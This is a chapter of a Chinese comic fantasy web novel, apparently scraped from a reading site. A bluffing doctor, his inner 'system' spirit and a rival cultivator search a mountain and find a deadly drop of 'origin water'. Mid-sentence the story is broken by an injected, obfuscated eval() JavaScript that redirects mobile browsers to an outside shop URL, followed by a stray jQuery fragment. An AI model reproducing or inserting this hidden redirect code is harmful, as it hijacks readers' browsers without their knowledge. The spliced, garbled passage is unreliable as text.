事实是,梧明一个伪劣大夫,哪来什么想法。他说明天开始治疗不过是拖延时间的话术罢了。
“我靠,系统你快醒醒吧,你再不醒我就要变成庸医了!名声即将毁于一旦!”
脑海中声音幽幽传来,“有没有一种可能,你的名声本来就是虚的。”
床上的梧明被吓了一跳。他今夜暂住在李樵家,父子俩挤一张床,另一张则留给他睡。
“原来你醒了,你听到多少?这决定我得给你讲多久。”
脑海中的声音打了个哈欠,说道:“听了个七七八八吧,不用你复述了。”
呵呵,那不就是全部听见了呗?梧明一阵无语,这妖怪听起故事倒是精神了。
“指望我也没用,我没想起来什么有用的。大多又是一些喝酒做梦的日常,看来活太久也是一种烦恼哇!”
意料之中。既然如此,那他就只能自己编了......
一大早,梧明硬着头皮开口道:“咳咳,小黑头啊。”
小黑头几乎是一瞬间就看了过来,眼神里对痊愈的渴望藏都藏不住,但很礼貌地没有催促梧明。
“关于你的病呢,有一个好消息和一个坏消息,你想先听哪个?”
它原本飞快摆动的尾巴一下子顿住,变为迟疑地小幅度摆动,开口说道:“梧大夫,我想先听好消息。”
这妖兽怎么不按套路来啊,一般不是都会先问坏消息的嘛!
只准备了一套说辞的梧明也不管三七二十一,拍拍狗头,说道:“哦,想先听坏消息呀?坏消息就是你这病乃心魔作祟呀!
我曾认识一位大能,名唤墨菲,又称墨老祖。他曾观遍世间百态,得出一大道至简的定律。简单来讲,就是怕什么,来什么!据我观察,小黑头一定是成天幻想自己长出双翼,一飞冲天,导致身体产生了异变。”
李樵略微颔首,一副茅塞顿开的表情,郑重地朝梧明行礼,“大夫您见多识广,连朋友都如此智慧,还请想办法救救小黑头!”
一旁窝里的凤昭眨眨眼睛,脑子里列举出姓墨的大能,无论如何都想不起来一个叫做墨菲的。顿时有些懊脑,早知道先前被父亲带着转悠的时候就认真记名字了,现在竟然还比不过一个人类。
无人看见梧明的嘴角微微上扬,他背手而立,俨然一副高深做派,同时心中不禁赞叹自己的机智。
“唉,有句话叫巧妇难为无米之炊。我游历四方,悬壶济世,又是个菩萨心肠。手头上的灵丹妙药早就被用光了,眼下怕是没有能治好它的。
......不过,还有好消息嘛。有一句话说的没毛病啊——羊毛出自羊身上。总而言之,言而总之,羊毛得从羊身上找,可谓解铃还须系铃人啊,你们可懂了?”
不仅是小黑头,一旁的父子俩也听得一愣一愣的,脑袋不自觉地点点头,所以梧明大夫的意思是,虽然他没药,但小黑头还有救?
“想必你们也隐约有所察觉,小黑头和这马山关系密切,而在马山待了最久的,就是他!”说罢,梧明手指指向那只白色的小圆鸡。
“咯——我?”凤昭见众人目光向他看齐,瞬间直起身,时刻不忘维护自己的形象。
虽然昨晚系统没给出什么有用的建议,但同为妖兽,它认出凤昭身上那股至阳的妖力,的确属于凤凰无疑。梧明花了一整晚的时间才将这只小鸡和凤凰划上等号。
凤昭来到马山之后,气候由极寒转换为四季如春。这意味着,马山中仍有众人不知道的秘密,其甚至能与凤凰媲美。
“没错,你知道山里有什么吗?”
他用翅膀扶住脑袋,作沉思状。随后想到了什么,正色道:“我想起来了,有些凉快!”
梧明差点给他跪了,还以为能有什么有用的信息。
正想详细询问,门外不适时地响起一道声音。
“有人吗?”
*
李樵这辈子也没想到,他竟然还能再次与张三神同行。
梧明脑袋顶着凤昭——不知为何,这鸡妖习惯性地就坐在他的头上。旁边是阿凡和小黑头,两个有矛盾的男人被一前一后分开。
李樵的小日子过得好好的,也就是几日前,山中变故,捡回了一只鸡妖。从那时开始,麻烦事接踵而至。现在连昔日仇人都找上了门。
他这辈子都忘不了的,一是李府的灭门惨案,二是自己因愚昧引来吴府的人,间接害死了先前的小黑头。张三神这张脸他记得清清楚楚,那天夜里,就是他用法器罩住了,呃,暂且称呼为大黑头。
不久前,开门相见那刻,气氛瞬间变得剑拔弩张。李樵警惕地盯着门外的男人,仿佛只要他动一下,就会抡起大斧头劈上去。
“嗯?我是不是见过你?”
张三神气定神闲,看出李樵的敌意,不过也不甚在意,他一个修仙者,就算站着不动让李樵砍,都不一定能伤着。
李樵不答,张三神也不恼,他来是为了寻找李四仙的。不管他那弟弟是学聪明了,自己躲在山里炼化宝物;抑或是不小心死了。他活要见人,死要见尸。
梧明眼睛一亮,抢先众人回答道:“这不巧了,我们也正要进山呢,不如一起?”说罢,他还用眼神制止了在场其他人未说出口的疑惑。
于是,几人便结伴进山,各自心怀鬼胎。
“不知张道友如何找你那弟弟?”梧明也是个修仙者,在场的只有他跟张三神沟通比较合适。
张三神看了一眼练气期的梧明,用鼻子“哼”了一声,一副“给你露一手,让你开开眼”的表情,拿出了一个小巧的瓷勺,将其置于平地上。抬手打入一道灵力,勺柄缓缓转动。
不料,那勺柄缓缓停在了梧明所站的方位。他以为自己挡住了,挪了一步,结果那勺柄也跟着他转。
张三神诧异地盯着梧明,他这法器乃是用蕴含灵力的烈火锻造而成,按理说能指向火灵力充沛的方位,正好能用来找李四仙,可如今怎么失灵了?
他略有些尴尬地收起法器,随即又取出另一件看起来更为精致的罗盘,说道:“咳咳,刚才那个有些年头了,不灵也正常。”
说罢,张三神抬手往罗盘内打了一道灵力,好在这次没有再出乌龙,罗盘上的指针最终停在一个方向,微微晃动。
众人循着方向走去,在深山中得见一潭幽泉,仅占了方寸之地,颜色却蓝的发绿,深不可测
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704649|207871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
这里位于马山深处,连小黑头和阿凡都不大熟悉。
张三神拿着罗盘绕着泉水转了几圈,指针始终指向泉水,就是这了。
“张道友,你那弟弟莫非掉水里了?”
他没有回答,像是想到了什么,眼里光芒一闪。
这罗盘乃是一位高人所赠,当初他只是为那人指了个路,便得了这一件法宝,说是能按照人心中的念头找东西。张三神扪心自问,现在心里除了李四仙的下落,便只有马山的至宝。
“小心,这泉水有古怪,你们都别靠近!”
闻言,梧明几人果然立马后退了几步,唯恐避之不及。
张三神郑重点头,一副英勇就义的模样,说道:“此处我的修为最高,让我来探查吧,我弟弟可能就是跌入了这泉水里。”
“张道友,务必小心啊!”
梧明一手护住阿凡与小黑头,一手扶住脑袋上的凤昭。面上担心,心里哪能不知道这人打的什么算盘,正好借他之手找到马山隐藏的秘密。事后大不了请凤昭出马,反正他也不是什么善类,和李四仙一样烧成灰就好了。念及此,梧明又想到这个“危险分子”兼“最大杀器”正坐在自己头上,唉,他也是被逼无奈。
与此同时,张三神拿出一柄剑,看起来就绝非凡铁,被注入灵力后,剑身泛起淡淡的光芒。他掐了个诀,用剑一劈,泉水刹那间被分成两半,却依然不见底。见状,他又劈了几剑,直到发出“当”的一声脆响。
往下一看,百尺深的水面下竟是块坚硬的寒冰!
那寒冰是个球形,直径大约三尺长,张三神用灵力牵引着冰球缓缓浮起,直到其飞出泉水,沉沉地砸在草地上,发出一声闷响。
冰球内并不是静止的,一点寒芒若隐若现,奇异无比。
张三神此时也懒得说瞎话,在周身设下一层禁制,显然是不想让其他人靠近,直接原地坐下开始炼化寒冰。
“这冰,有种很亲近的感觉。”
小黑头目不转睛地盯着不断散发雾气的冰球,思考着那股没由来的亲近之感到底是怎么回事。
睡觉的凤昭睁开眼看了一眼,了然地又闭上了眼睛。
好家伙,又在装高深了。梧明正考虑如果拉下脸求教凤昭,他有几分可能会为自己解答,脑海里突然响起了声音。
“哦呦,这是一滴原水呀。”
梧明来不及询问这次它又是什么时候醒的,连忙问道:“原水是什么东西?”
“我想想啊......原水就是能化生的东西呀,最初的人类和妖兽都是被化生出来的。算得上世间顶级的天材地宝吧,但是乱碰是要命的哦。”
这边话音刚落,那边的张三神已然用灵力化开了寒冰,小心地取出一个玉瓶装入那滴银白的液体,不料霸道的寒霜直接冻碎了玉瓶,连带他的手臂一连冻住,他甚至来不及狠心砍断手臂,整个人就变成了一座冰雕。
三人一犬目瞪口呆,好好的一个大活人说没就没了。
下一刻,异变陡生。
那滴悬浮流转的原水好像察觉到了什么,直直朝梧明飞去,不给任何反应的时间,一溜烟从他的嘴巴钻了进去。